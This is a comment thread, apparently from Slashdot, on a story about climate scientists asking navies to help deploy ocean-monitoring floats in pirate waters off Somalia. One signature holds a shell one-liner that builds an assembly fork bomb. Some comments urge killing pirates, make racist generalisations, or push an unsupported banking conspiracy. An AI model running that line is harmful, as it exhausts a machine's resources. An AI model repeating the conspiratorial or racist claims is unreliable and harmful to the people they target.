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Climate Scientists Ask For Help Fighting Somali Pirates
thebchuckster writes "Scientists are seeking the help of the Australian and US navies to repel Somali pirates who are threatening one of the world's key climate monitoring programs. They hope to deploy about 20 robotic instruments in a no-go area north of Mauritius. The instruments, which record ocean heat and salinity patterns, are programmed to submerge and eventually resurface to upload their data to satellites."
But global warming is caused by a lack of pirates!
sounds like a challenge.
Que the Pastafarian jokes in 3..2..1..
Because they learned a long time ago they could take the money ... then act immorally anyway and win on both sides.
Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
Well, until the Vikings sue them over the patent violation on their business method. It's Danegeld, after all, not Somaligeld.
Despite the fact they threaten climate monitoring equipment, anyone else go straight to "the lack of pirates is the reason for global warming argument". haha
House the probes in old WW2 mines - armed of course...
Then just give the big shipping boats GPS coordinates, and let the pirates "find" them if they wish.
Seems to solve multiple problems as the pirates find more and more of them...
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Ah ha, so there _is_ a correlation between pirates and global warming!
Seriously, throw an active sonar pinger on it, before it surfaces to send radio data, have it do a few active pings and make sure no one else is around before surfacing, sending the data, and re-submerging.
You'd probably want to put a little effort into having multiple sensor units pinging at the same time to make it hard for them (the pirates without a lot of tech) to triangulate based on the pulse source.
You're talking a 5 pound sonar module and a few lines of code, a few thousand dollars, far far less that putting a bunch of fully crewed ships burning fuel and food in the area. Hell, do they not already have sonar modules on them for sensing water speed and temp at depth, or looking for thermoclines?
Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
Give it to whom precisely? Somalia has been in a civil war for the last 20 years, there isn't anybody that can take the money and make it happen. Most folks there are more concerned with starving or being killed to do anything about this.
The real issue is in how the global security is executed. When these pirates are caught, it is up to the country of the vessel's home port to pay for extradition and prosecution. You may be surprised but in the majotrity of cases, the pirates are arrested and then days later released as the government of the vessels home country decides not to extradite as they don't want the expense of shipping tham, then housing them in prison. A solution? Well, go back to how we used to deal with pirates. Tried by a captain on ship and walk the plank into the water 300 miles off shore. Done. Problem solved.
"Computers are a lot like Air Conditioners" "They both work great until you start opening Windows"
"Oooh, a Somali pirate! I'm scared now! Oh sure, the scientists will pay whatever you ask them! Here, take my leg! Please! So I can be a peg leg like you! Let's see what your Mom has to say about that!"
WARNING: Smartphones have side effects--most of them undocumented.
Why doesn't the govt give Somalis money for acting morally?
Which government? The Somali government? It sounds like calling that a government is being charitable. Warlords might even be charitable. They just started allowing aid into the country for the worst drought in 60 years with 11 million people starving.
The US? We're not really big on spending money overseas except if it's Israel or bombing someone. And, truth be told, we have a terrible record of giving money and aid to bad people only to have to kill them later on after they've killed a lot of innocent people. Though again, the situation is pretty bad already. If there were a way to make the situation worse, the US would be hard-pressed to find it.
Anyone else? Not interested in Somalia or incapable of doing anything. Somalia has been a failed state for a while now.
Pirates don't care about socialism. They vaguely care about globalism inasmuch as it affects the number/type of ships that go by. Mainly they just want to get rich, like 90% of the rest of the world.
The point is, the scientists need to drop the sensors into the pirate infested waters, and no commercial ship dares to go there. So they are hoping a military ship will take them to drop the sensors. Hope it works out.
"First they came for the slanderers and i said nothing."
US and other naval warships patrol the area. All you have to do is ask to tag along behind one and drop the sensors.
No extra cost, no big deal.
They're taking the ships not the buoys. The buoys are expendable, they drift till they die. They can be scuttled if needed. The ones we use are capable of being air dropped.
That's kind of the whole point. They need to place them in specific locations, so they're asking to tag along behind one after it goes where they need it to.
So now we can get paid for acting nicely? And here I've been doing it for free!
If you can't convince them, convict them.
Having a tough life ?
The problem isn't the instruments, the problem is pirates attacking the scientists as they go to place them. The area of interest is a no-go area of the Indian Ocean.
But with piracy in the western Indian Ocean making it too dangerous for commercial or research vessels to deploy the robotic devices, Australia's government research department, the CSIRO, hope naval forces will help them out.
You know, if you look at some of my other posts, I'm a fairly liberal live-and-let-live kind of guy. But, considering what the Somali pirates are doing, the only solution is to kill the bastards!
So "SpongeBob" is the "liberal live-and-let-live" part and "Hitler" is the "kill the bastards" part of your split-personality?
You just create dependence doing that.
Like all pain, suffering is a signal that something isn't right
Are you seriously saying that you never heard of Somalia before a few days ago? You never heard about the brutality of the warlords, the civil war, the pirates, the international naval effort to patrol the piracy-infested waters, and the kidnappings that the pirates have engaged in? I'm kind of hoping that's not what you meant, but it's difficult to construe it in any other way. Even Slashdot has reported off-and-on about the situation, though nowhere near as much as the constant barrage of Facebook, Twitter, Google, and Apple stories.
I'm honestly surprised that you'd be completely ignorant about what's going on over there. If I weren't so lazy, I'd pull up some slashdot stories about Somalia, to point out that this has been big news for several years now.
What we know about climate change. Of course, he who doesn't listen cannot hear.
Like all pain, suffering is a signal that something isn't right
It doesn't matter to you whether scientists collect data or not. You will just assume you know better -- right? The beliefs come first, and then the "evidence" is lawyered by your "super" intelligence. There is indeed an inverse relationship between someone's competence, and their own belief in their competence.
Like all pain, suffering is a signal that something isn't right
any pirates who would attack scientific intstruments are committing property crime. the death penalty seems a little harsh.
as for the pirates that attack people, well, somalia doesn't really have a government to speak of.
and if you think you can 'solve the problem' by intimidating a few of them, you might want to read about what motivates them in the first place. i.e. there is a massive drought in the region right now, millions of people are starving... as i write this.
if i were in their shoes, and you asked me if i wanted to be a pirate, and maybe eat, i dont know what i would say. you see, i've never been starving to death and watched my whole family die.
in my humble opinion, instead of starting a nother never ending 'war on piracy', we could instead try to stop the corruption and malfeasance that prevent the somalis from engaging in ordinary business activity. i.e. start enforcing international laws regarding the fisheries off of their coasts.
You know most of these pirates simply want to have food medical care and a way to support their families. People who have food, and a means to support themselves and their families are usually very enthusiastic about science and learning.
This is true, but their behaviour is caused by systemic violence and corruption in their society. Either you go into their country and tame the savages (we all know how that turns out), or you let them sort out their own problems. If you choose the later, then shooting pirates is just applying the golden rule. If I engaged in piracy myself, I would expect violence to be a natural consequence of my actions. They have to learn how to take care of themselves without leeching off of others.
Like all pain, suffering is a signal that something isn't right
Oh please. Globalization has been around for a couple of centuries, the only thing that has changed is the scope of operations. By encompassing more of the globe, more people have better lives than they ever had before. (btw how's that computer you're using working out for you?)
You should apologize to the people in Dresden who went through that - to compare inner cities in the US to that is ridiculous hyperbole.
I'm very grateful that if things ever became as bad here in North America as they are in Somalia that you aren't my neighbour - if they want to feed themselves and have proper medical care then perhaps they should stop shooting at each other in a bloody civil war and try and work together to build their society. They could start by asking for help (re)building ports, as they have a large coastline to work with, which would provide jobs and money to fund other activities.
(same AC as GP) Everyone knows the "bury the researchers in millions of bogus, frivolous FOIA requests" is simply a tactic of the oil-industry shills - about as intellectually honest as "teach the controversy" from the anti-evolution tards - or, more to the point, about the same as the tobacco industry's decades of stonewalling that no evidence existed for a link between smoking and cancer.
Yes, I am aware of the issues with starvation in poverty in most of Africa and other parts of the non-industrialized world. Somalia also covers the Horn of Africa and is a prime staging ground for pirates attacking ships heading through the Suez. I also have seen sporadic coverage throughout the years that tends to peak when some sexy news story hits about pirates or something else, black hawk downs incident was what, 2 decades ago?
Point taken though, this was probably the wrong story to comment on this about. I think I am just confused that a non-story about the relaties of maritime activity in the region, that probably would have been ignored a few weeks ago, happens to rise to a point of note.
The US? We're not really big on spending money overseas except if it's Israel or bombing someone.
I'm guessing you're young. The US (under President Clinton) sent its military into Somalia in the early 1990s with the goal of stabilizing the situation enough to allow aid (both goverment-sponsored and that of private relief agencies) to help ameliorate an ongoing famine. Given the way it ended, I doubt the US government has much motivation to attempt helping Somalia again.
If you don't trust the slant of a military-published document, dig up some old newspaper archives. I think you'll learn why so many governments appear to be ignoring Somalia.
#DeleteChrome
Bah - forgot the link.
#DeleteChrome
Name me one Presidential candidate recently who hasn't exaggerated to make a point. Maybe Ron Paul but I doubt it.
It's damn near impossible to find an "anti-AGW" statement that has not been proven false or at least ridiculously exaggerated.
It's a story for slashdot because it directly relates pirates and global warming.
Facts are not something I associate with climatedepot.
The "civil war" is largely a creation of foreign and now AFRICOM interference.
http://webarchive.ssrc.org/Somalia_Hoehne_v10.pdf
"Thanks to half a century of pouring US arms stockpiles into Africa, the price of an assault rifle in Africa has for some time been cheaper than anyplace else on the planet."
http://www.blackagendareport.com/content/africom-americas-military-foot-africas-doorway
Somali "piracy" is the outcome of the illegal, exhaustive, industrialised over-fishing of Somali waters, by foreign fleets - leaving the coastal towns without any livelihood.
http://www.huffingtonpost.com/johann-hari/you-are-being-lied-to-abo_b_155147.html
http://www.democracynow.org/2009/4/14/analysis_somalia_piracy_began_in_response
http://www.time.com/time/world/article/0,8599,1892376,00.html
The US manufactures foreign wars and "terrorists" the same way it used to lead in the creation of Automobiles and heavy manufacturing. But remember your Gibbon: The decline of Rome was seeded from its very rise on world's stage.
"Flyin' in just a sweet place,
Never been known to fail..."
More than 30 nations are involved in the multi-million pound Argo project, in which 3,000 robotic instruments provide data on the heat and saltiness of the world's oceans. The information is of great value to scientists who are able to forecast weather patterns and advise farmers of the likelihood of rainfall and floods.
Well what have done those 30 nations when overfishing and nuclear waste dumping was done in somalian coasts for decades, taking advance from the absence of somalia costguard? That is not a major enviromental isue, or what? What is the scientific advise to somalia people they face right now a _major_ drought crisis? Justice for all...
Not just pay them not to attack, but pay them to go and place the bouys for you. Why? Because it gives them money from a non-piracy endeavour, their primary intention being financial gain. It's money they would have otherwise sought through ransom etc, and ulimtately keeps good people out of harms way. Would they hold the bouys to ransom? Well maybe, but you could make sure they are expendable, after all it's the data you want.
Or just get a Navy vessel to drop off the gear. Get in some target practice on anything that approaches. Only way to be sure.
After logging in slashdot still does not take you back to the page you were on. It's been that way for 20 years.
Actually, it was Bush I who sent the military to Somalia to provide security so aid could be distributed. It was Clinton who decided to try "regime change"...........and that resulted in Black Hawk Down.
http://en.wikipedia.org/wiki/Battle_of_Mogadishu_(1993)
"The average reporter we talk to is 27 years old......They literally know nothing." - Ben Rhodes
"Somalia has been a failed state for a while now."
By your definition of government, maybe.
Just because Somalia has a different government structure then most countries (I consider no government "different", and nothing more) does not mean we should preclude them from discussion venues such as the United Nations or even more personal dialogs with individual nations.
Most of these "pirates" are regular people forced into this role by outside influences. Most coastal communities in Somalia have been devastated economically and environmentally by the continued dumping of wastes by foreign governments and corporations, up to and including nuclear waste. More easily put, the ocean they once relied on for food and commerce is no longer viable for either.
http://en.wikipedia.org/wiki/Somalian_pirates#Sovereignty_and_environmental_protection
The 2004 Indian Ocean Tsunami made matters far worse--destroying the remaining fishing boats while leaving the pirate-craft out at sea unharmed. This was the "push" that forced a lot of legitimate fishermen into piracy. A little diplomacy and some aid in the form of fat, slow fishing boats might have gone a long way in preventing piracy.
http://en.wikipedia.org/wiki/Effect_of_the_2004_Indian_Ocean_earthquake_on_Somalia
The Media is partly to blame for ignoring the root cause of the situation and instead focusing on the result--desperate people doing what they can to survive.
What these people need is someone to speak for them (it shouldn't really matter who), and more importantly, someone to listen.
And your point is? Regardless of how the nation came to be in the state that it's in, there isn't any functioning government there at the moment.
Two problems solved.
(Three if the sharks have lasers.)
Asshats like you are the problem today. i wish there was a law to kill stupidity.
So you would like a law to silence people whose ideas you find offensive?
Wow, talk about loving big huge government. Where do you nutcases come from?
You need to look into things a bit more deeply than you apparently do. Please give me a quote from Phil Jones where he admits manipulating data for other than valid scientific reasons. Does one mistake (Himalayan glaciers) in the IPCC AR4 report invalidate the thousands of other points in the report? That's like getting a F on a final exam because you missed one question out of 100. The IPCC had nothing to do with the climate refugees statement. That was a think tank associated with the UN. And I believe their statement was "up to 50 million climate refugees". Did they put a minimum value on it? The sulfur in coal does cause a cooling effect as SO2 in the atmosphere but it doesn't last nearly as long as the CO2 does so in the long run coal burning unequivocally causes warming.
Please show me the science that shows increasing the levels of greenhouse gases in the atmosphere does not cause a warming effect. If you can give me some good science showing that then I'll join you. Until then you're just someone who puts economics and politics over reality.
The costs are already covered if they can sail their research vessel in those waters. Because it's too dangerous for them to go in there on their own they're asking for some help getting the buoys distributed. I guess someone will have to step up and eat the additional costs but I imagine it could be considered training time for some naval vessel.
That was then, in a relatively stable post-USSR world. This is now, in the age of instant digital fearmongering, rampant invisible terrorist threats, and overwhelming governmental corruption and outright bribery. Expecting anything to get done even 1/10th as efficiently as a 1990s government is just pointless.
Can we have Bill back, please?
If the only way you can accept an assertion is by faith, then you are conceding that it can't be taken on its own merits
And you probably love directv
"Computers are a lot like Air Conditioners" "They both work great until you start opening Windows"
Getting all pissy when someone points out how clueless and reactionary your murder fantasy is.
It was nice of you to end your last post by saying, "i wish there was a law to kill stupidity." It lets everyone know what a wretched little maggot you are.
It's being kept that way.
"Flyin' in just a sweet place,
Never been known to fail..."
Oh. And the whole "climate science" angle is just there to recruit the liberal/progressive sentiment into supporting more neo-colonial imperial adventure.
"Hey, no time or money to create jobs, you guys. We have to invade AFRICA and save THE PLANET!"
"Flyin' in just a sweet place,
Never been known to fail..."
Nah, with their pockets full of money they'd be too permanently drunk to bother with hard work like piracy.
OTOH there's a lot of Somalians, paying all of them might cost a lot of money.
OTOH ... it's only bits of paper. Give them enough and the inflation it causes will ruin the Somalian economy. Maybe their own government will shoot them for us if we do that.
No sig today...
The countries capable of helping Somalia have given up because ultimately it is up to it's own citizens to want peace and be willing to do something about it and there has been no sign of that occurring. The only organized efforts in that part of the world are targeted at piracy, constant tribal conflicts, and of course the ole reliable Jihad and any outside assistance gets denounced as interference so as along as they are contained in their territorial boundaries let them destroy themselves in peace.
We did. We have, however, gone to Iraq twice. And we've stayed there for 8 years. And they had a government that was more stable than Somalia. It's NOT because Somalia is too much for us to do anything about. It's about apathy.
That's why they are pirates, there is no Somalian economy.
21st Century Renaissance Man
I wonder if there are any roving spy blimps that could be tasked to spend some time tracking all boats in the area around somalia. Its a big ocean but if you can watch the coast , catch them leaving and track it might work?
The information could be used to warn others where the pirates are or for the more hawkish amoung us allow nations who have had enough to intercept them.
Too small. Don't approach with a ship because that creates an expectation of taking prisoners.
Use drones and kill the target with a missile.
"This post is an artistic work of fiction and falsehood. Only a fool would take anything posted here as fact."
It is a fact.
As societies become more mature and are education and technology based, people tremendously reduce their population and growth and consumption rates for food, energy housing etc.
From Europe, to Japan, to USA populations are contracting.
As for the idea of globalism being around forever, in some aspects that is true if we are talking about Imperialism.
But Globalism in the context I am speaking of is far far worse than imperialism and is quite new.
This Globalism seeks to destroy the concept of sovereign nations and reduce the globe to simple labor and production blocks. They do this primarily through banking by insuring loans and markets are rigged or planned through crisis, to draw nations into debt and then buy back the land and infrastructure of a country through a process called "privatization".
Let me explain how this works.
Essentially a group of private investors become owners of your countries power utilities, land and resources such as crops, water resources etc. These owners are the unseen hands behind the Federal Reserve and IMF. Which, act through their proxies such as Ben Bernanke...George Soros..etc.
They do this because they can rig Investment Banking markets now, world wide. For example, CDS traders don't allow American companies to invest in local manufacturing for example and demand loans obtained be used and factories built only in countries with slave labour like China. They do this because they know, that once those jobs move the labour force in that area and the communities who have pensions bonds and other stuff in Wall Street banks will go insolvent. They then collect huge on the shorts and as a bonus they get real physical assets such a real estate from foreclosures, so they make a much bigger profit if they can collapse a market than if the market goes up.
Finally, because the local political establishments invested those pensions, municipal bonds etc with the Investment Banks the bankers know they can simply suggest that if they political estasblishment doesn't do what they want, the Investment Banking organizations such as the Federal Reserve and IMF will crash the whole thing on their watch.
That is why Congress for example gave 27 Trillion dollars to these people so far with overwhelming opposition from the public, and will continue to grant any amount of money to these people. The alternative is a currency collapse and nobody in the political system wants that too happen while on their watch.
Hardly anyone really knows this truth, except maybe the Icelanders who caught on real fast to what these criminals where doing and threw the into jail, and kicked the out of their country.
It would seem though, they are the only ones who have awakened. The rest of the world continues to get "Austerity" measures from these IMF/Federal Reserve banks. (i.e. I wouldn't surprised for example if the IMF commuity ends up owning all of the USA's public parks and lands, power grid companies even the very buildings Congress and the President use.)
People have not awoke yet. Which, the longer this continues the greater the unrest will be when people finally wake up. If it isn't soon, the USA will burn from city to city coast to coast.
So Globalism and its centralization of power is far more dangerous than Nuclear War, or Global Warming because it removes the industrial and technological infrastructures of the 1st world, strips them really...and prevents science and technology from addressing these issues.
Globalists only want one thing, absolute power, and enforcement of that power so that nobody can ever change it. These ruling elite use corporations so that people can't fight back or identify a single target like they did in the old days.
(i.e. If you had a bad Queen, you cut her head off along with the rest of the corropt royalty. Kings and Queens are easy targets. Transnational globalist corporations and systems are much harder to single out and identify the ruling power.)
Hack
Got Geometrodynamics? Awe, too hard to figure out? Too bad.
I doubt the US government has much motivation to attempt helping Somalia again... I think you'll learn why so many governments appear to be ignoring Somalia.
On the contrary, the US is very interested in Somalia for the very same reasons the pirates are - it's lack of government and infrastructure means whoever has the most money/guns in their own patch is the law. This makes it an ideal location for the CIA to set up secret prisons, as well as pirates to set up their base of operations.
And your point is? Regardless of how the nation came to be in the state that it's in, there isn't any functioning government there at the moment.
It makes me laugh when I hear neo-cons say "government isn't the solution, it IS the problem". If you want to see what not having a functioning government looks like, go to Somalia. It even has religious extremism.
This and no other is the root from which a tyrant springs; when first he appears as a protector - Plato (423 to 327 BC)
Asshole poster is asshole, what a surprise. What part of the US are you from? (The attitude of use violence first is most typically a US approach).
As Churchill said the Americans always do the right thing eventually. Your crap is an example of trying everything else first.
Grow the fuck up.
Religious persecution!!!!
The problem isn't the instruments, the problem is pirates attacking the scientists as they go to place them.
Deploy them with parachutes from a C-17 or something similar. Armed with a couple of electric Gatling guns, they could have some fun with the pirates while doing noble science.
Have gnu, will travel.
AC you nearly made me spit out my drink.
Seriously, throw an active sonar pinger on it, before it surfaces to send radio data, have it do a few active pings and make sure no one else is around before surfacing, sending the data, and re-submerging.
You'd probably want to put a little effort into having multiple sensor units pinging at the same time to make it hard for them (the pirates without a lot of tech) to triangulate based on the pulse source.
You're talking a 5 pound sonar module and a few lines of code, a few thousand dollars, far far less that putting a bunch of fully crewed ships burning fuel and food in the area. Hell, do they not already have sonar modules on them for sensing water speed and temp at depth, or looking for thermoclines?
The issue is NOT about collecting the devices afterwards - it's about the ships going in to plant the devices in the first place. You are addressing the wrong problem. Don't tell me you didn't RTFA?
The Vikings didn't invent that business practice, the Mayans did it 500 years before the Vikings and the Aegean and Sardinian pirates predate them
Thats great and everything, but the US, French, British, South Africans aren't the only destabilizing influence, following decolonization in Africa the Soviets dumped thousands of tanks, thousands of aircraft, tens of thousands of large caliber weapons and millions of guns into Africa from 1960 through 1989.
For the region
http://en.wikipedia.org/wiki/Etheopia#Mengistu_Era
"In 1977, there was the Ogaden War, when Somalia captured the part of the Ogaden region, but Ethiopia was able to recapture the Ogaden after receiving military aid from the USSR, Cuba, South Yemen, East Germany and North Korea, including around 15,000 Cuban combat troops."
http://en.wikipedia.org/wiki/Somalia#Communist_rule
"By 1978, the Somali troops were ultimately pushed out of the Ogaden. This shift in support by the Soviet Union motivated the Barre government to seek allies elsewhere. It eventually settled on Russia's Cold War arch-rival, the United States, which had been courting the Somali government for some time. All in all, Somalia's initial friendship with the Soviet Union and later partnership with the United States enabled it to build the largest army in Africa."
So the Soviets backed Somalia and loaded them with weapons, then Somalia starts to lose, the Soviets dump weapons into Ethiopia and the US back the Somalis, but all you care to cite are sources blaming it on the US.
It's being kept that way? That is completely wrong, the US, France, Pakistan, Italy and others intervened under a NATO resolution, tried to negotiate, tried to decapitate the forces destroying Somalia. Somalia, like Afghanistan is a place so fundamentally ruined right now there doesn't have to be anything keeping the status quo and there is no way to simply fix it.
The US under President Bush sent forces in.
http://en.wikipedia.org/wiki/Somali_Civil_War#United_Nations_intervention_.281992.E2.80.931995.29
http://en.wikipedia.org/wiki/UNOSOM_I
http://en.wikipedia.org/wiki/UNOSOM_II
http://en.wikipedia.org/wiki/UNITAF
I dare you to try to get food to the poor in Somalia. If the warlords don't kill you and take all your stuff, then the pirates will. There is no viable method of getting supplies to the poor without it being taken by the various political "parties", like the warlords, for their armies, who will then be well fed so they can go out and kill those poor people for whatever they might have. If you want to get food to the poor people of Somalia, you will first need to kill all the warlords and their supporters.
Who would win this election: Andrew Weiner vs Andrew Weiner's weiner.
On the bright side the private corps and then fed will burn with us when the US can no longer pay the interest on the national debt.
All the money they've made will be worthless.
As opposed to Bush II raising the debt ceiling (7 times in 8 years), lowering taxes, and increasing spending like a drunken sailor. Choose your poison.
(Most) Republicans only care about the debt ceiling when there's a Democrat in the White House.
Obama already offered the Reps a deal: Raise the debt ceiling and taxes, cut spendings drastically. Instead the Reps don't want to hear anything about tax raises.
Justice is the sheep getting arrested while an impartial judge declares the vote void.
Now that the USA is winding down ops in Iraq and Afghanistan there'll be available drone operators who'll need to keep their skills sharp. What better use for Global Hawk and Predator drones and a few Hellfire missiles? Instead of blowing up wedding parties and funerals they could be doing something useful and take out Somali pirates. The unmanned drone optics are more than adequate quality to easily avoid mis-identifying their targets.
Climate scientists have moved beyond whether CO2 in the atmosphere causes warming. You can read the signature of CO2 capturing radiant energy in the spectrum of the planet. I have read the IPCC AR4 Working Group I Summary for Policy Makers. What's your point? You don't like the way they're simplifying the uncertainty for non-scientists? If they can't be virtually certain about something but only consider it very likely we can ignore the risk? Science doesn't work in absolutes (except zero).
The WG1 report is all about the science and doesn't get into danger, it's Working Group II where that part comes in. That's where they examine the probable effects of global warming.
Uh, no. The primary rifle used by militias in Africa is going to be the Kalashnikov because it's cheap, rugged, any idiot can use it, and it's light enough for a child to carry. Which is useful, of course, if you want to arm children. As you might guess from the name, the Kalashnikov is a Russian assault rifle that was sold off in vast quantities by Warsaw Pact countries after the collapse of the Soviet Union.
Let's be honest.. when you look at Africa and Rome 2000 years ago, now look at Africa and Rome today, the only change in Africa is that now they have guns.
Divide a cake by zero. Is it still a cake?
Indeed, a few pirate organizations are actually militias that want to drive away commercial fishermen from their waters. There's definitely some that are solely in the "steal ships for fun and profit" business, but there's quite a few that are in the "shoot at people so we can start sustaining ourselves again" business.
Random Thoughts From A Diseased Mind (Not For Dummies)
They asked the UN for help in stopping the dumping of toxic waste in their waters, they asked the UN for help in stopping Asian fishing vessels from emptying their sea of the food Somalia has always used to sustain itself.
Guess what the answer was since Somalia has nothing anybody wants. That is right, get stuffed.
The world is not as simple as you think it is.
MMO Quests are like orgasms:
You may solo them, I prefer them in a group.
We know that, but the USPTO accepted the Viking patent for piracy - in fact the Vikings did very little piracy, most of their earning came from royalties.
according to an interview with an kidnapping negotiator one of the main reasons for the Somalis becoming pirates is overfishing - most of the economy crashed because they cannot compete with the sophisticated trawler fleet. A FAO paper claims that illegal foreign ships are one of the main reasons for the depletion of maritime resources.
Without a government and while illegal fishing is profitable (pirating started with selling bogus fishing licenses to foreign ships, see here) the problems cannot solved; one proposal was an export embargo but this wasn't successful in the UN security council.
and Most democrats only care about killing poor foreigners when it's a Republican in office.
partisan bullshit is.. partisan bullshit. TOo bad so much of it goes around.
There is not a single source that I have seen which would verify that someone from Europe would have dumped toxic waste near or to the coast of Somalia.
Lets think this rationally for a moment:
Multiple sources confirm that Italian mafia buys ships, fills them with toxic waste and sinks them in the middle of Mediterranean sea
Why would anyone who gets their toxic waste from Europe and are good at "losing" ships at Mediterranean sail through Suez? That and the sea voyage through Red Sea and the return would cause a lot of extra cost.
We are talking 200km vs 4000km here. It is much easier to dispose a junk ship at Mediterranean and come back with speed boats which have enough range for that. This "they poisoned our land, we have RIGHT to pirate" is another lie from greens and other similar people who want to "understand" Somalias plight by placing guilt to Europeans, or anybody else than Somalis themselves.
Then just give the big shipping boats GPS coordinates, and let the pirates "find" them if they wish.
And what do the private yachts do, just go ker-splat so the oil can get through?
The only reason any of this is a problem is that certain governments have outlawed self-defense on the high sees. Having several 50mm guns on the deck would be all that is necessary and sufficient to get rid of the entire Somali pirate problem. When pulling into port, the harbormaster can ensure that the guns have the requisite safeties on them - he can use his locks if it really matters.
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
nice false dichotomy you got there. I don't think that people claiming that the government is the problem have the base functions like judicial system and law enforcement in mind. More like erosion of basic rights and violation of privacy by omnipotent 3-letter agencies, pork barrels, subsidies and whole industries built around them, excessive regulations to justify the existence of bureaucrats, hand picking the winners in markets, ever increasing tax burden, giant waste of taxpayer's aka nobody's money (wars, pet projects of the day, ...). None of these things would exist with a barebone government that doesn't micromanage everything.
And railroads. Don't forget the railroads.
The Grey Goo disaster happened 3 billion years ago. This rock is covered in self replicating machines!
Vast doesn't even begin to describe it. Even as far away as NZ, a entire container load cost little more than the shipping--or less than 1 dollar a rifle. Ammo was also stupid cheap. If that is what we got 25000km away, i can only imagine how much got to Africa, about 1 week of shipping away (guessing).
I don't know about the rifles, but i know that disposing of the tons of ammo was expensive, so if you wanted it, it was free. You just paid the shipping.
The Grey Goo disaster happened 3 billion years ago. This rock is covered in self replicating machines!
It makes me laugh when I hear neo-cons say "government isn't the solution, it IS the problem"
To someone lost in the middle of the desert lack of water is a problem. To a drowning person excess of water is a problem. Why is it so hard to understand that most western countries are drowning in a massive excess of government?
It makes me laugh when the same people who believe governmental health care is the solution to all problems complain so hard about TSA pat-downs.
http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB63/doc10.pdf
One of the first major decisions regarding equipment came prior to the establishment of TFR and involved the use of airpower. Upon initiating his secret manhunt for Aidid, Admiral Howe, through General Montgomery, requested and received four AC-130H Spectre Gunships. Upon arrival, the AC-130H's were used to surgically strike and destroy key SNA targets, and also flew support for the QRF while they conducted raids to disarm the SNA militia. However, within less than a month of their arrival, operational control of the AC-130H's was relinquished by Montgomery in order to incite Aidid to give himself up. At the time, this was probably a good idea, however, when Aidid only increased the ferociousness and number of his attacks, Howe and Montgomery never recalled the aircraft. Had the AC-130H's been in Mogadishu at the time of the 3 October raid, they could have flown an offensive air mission to support the tactical withdrawal of TFR. As such, the only air support TFR received during the raid was from the MH-60's and AH-6J's, and they were not enough.
Another important decision relating to equipment that might have saved many lives during the raid was that of armor. Following the September shoot down of an MH-53 by RPG's, General Montgomery requested help in the form of armor. Montgomery's superiors, CINC CENTCOM, General Hoar, and Chairman of the Joint Chiefs of Staff, General Powell, relayed the request but did not support it strongly enough to keep Secretary of Defense Les Aspin from stopping it. The reason Aspin gave was that sending armor could result in a military escalation which would hamper any chance of a political settlement with Aidid. Little did Aspin know that this decision would turn out to be a costly error. But what about the military leadership in Somalia? Why did they simply take no for an answer? The military leadership should have shown enough nerve to hammer the point home with General Powell, and if this still did not produce results, then they should have terminated the hunt for Aidid until they were able to receive the armor they so desperately needed. If TFR would have had tanks, even with the ambush, they would have gone in, knocked over the mud huts, put a steel cable around the tail of Super 61, and pulled the thing out. Instead, political and military leadership decisions needlessly put their troops in harms way without the proper equipment to successfully complete the mission.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
So why not just tackle the pirate situation rather than action, political or military, on land? Send in the NATO navies, plus maybe also invite the Russian, Japanese and Chinese navies for good measure and take action to protect the international shipping. Do as used to happen in the days of sail, arrest the pirates, confiscate their vessels and maybe even pay prize money to the navy crews who capture a pirate vessel.
They have done exactly that
http://www.abc.net.au/news/2011-07-14/scientists-call-in-the-navy/2795700?section=world
asking the Royal Australian Navy to take nine of our floats up into that area on the next rotation to the gulf.
And the sad part? For over 30 years all we have heard from the Rs is "Give teh rich more MONIES" nom nom nom when the data clearly shows that higher taxes on the wealthy leads to lower unemployment and higher growth but all they can do is say "Its da poor with teh entitlements! You should give teh rich more MONIES nom nom, nom" because surprise, they are rich.
ACs don't waste your time replying, your posts are never seen by me.
What spending did Obama offer to cut? Please be specific. Oh, yeah, which taxes did Obama want to increase and how much revenue would be generated by those increases? Once more, please be specific. On the tax increases, the only specific I have seen was enough to cover 8 hours of current deficit spending each year. Oh yeah, it was a tax deduction that Obama asked for back in the beginning of 2009 as part of his "stimulus" package.
The truth is that all men having power ought to be mistrusted. James Madison
Science is a great endeavor, but when hundreds of millions can't eat, something is wrong and it has nothing to do with global warming.
You are apparently unaware that a smaller percentage of the world population is underfed today than at any time in human history (well, ok, it may have been somewhat better 2-3 years ago, but that is not long enough back to support the point you are trying to make). The average daily caloric intake in deveolping countries is significantly higher today than it was in the 1960s.
The truth is that all men having power ought to be mistrusted. James Madison
And the Wine!
interesting concept. i have never heard of a 'preventative death penalty' before.
only preventative wars.
Why would they try to decapitate their own forces?
The military would do well to learn and understand local customs before trying to invade, even for "humanitarian" reasons. Somalis outside of the "capital" follow Xeer, and as such are literally ungovernable. If they would stop trying to fund strongmen, then would see that the violence would abate, and Somalia would return to the state it was in for the 1100 odd years prior to the start of colonialism, which is to say, the freest, most peaceful society on Earth.
For some reason, whites don't like thinking about that, and love to point out the failures of their system of near-anarchy, but totally ignore their long history of success under the exact same system prior to the arrival of occupying forces from the west, occupying forces who were NEVER able to control the countryside, just like today.
That's excellent racism there. I guess you missed the part where these are the decentness of the very same people who, along with the Yemenites, stopped the Roman advance into the Horn of Africa.
http://en.wikipedia.org/wiki/Axum
Yeah, Somalia is a great example of functional anarchy much the same way that Serbia was a great example of functional democracy.
Why do racists whites always ignore the thousands of years of history prior to their arrival in a given area? "Native Americans were always nomadic." BS--They had a series of large, sedentary nations, now known as the MIssissippian culture, which collapsed a hundred years prior to the arrival of whites. "Southeast Asia has always been a series of primitive villages". BS again--They had the Khmer Empire, which built the marvelous Angkor Wat, and NUMEROUS other temple complexes.
Fact is, the Somalis (formerly Ethiopians), are among the very very few non-coddled native societies to survive colonialism more or less intact, the others being India and China. Somalia is STILL under assault, however. African crackpots and UN forces have pumped so many guns and supported so many strongmen in the region that they can claim that Somalia's system of civil order leads directly to civil war. Mission accomplished. They know westerners don't study history. At least, not the history of any non-white culture. Should the foreigners ever leave, or give up on their imperialistic desires, you will quickly see Somalia emerge as an African powerhouse of production. Already, they have the best telecommunications infrastructure in Sub-Saharan Africa. But again, the imperialists don't want you to know that.
Which really casts doubt onto the simplistic narrative of "evil corporations" that want to destroy the country and enslave everybody.
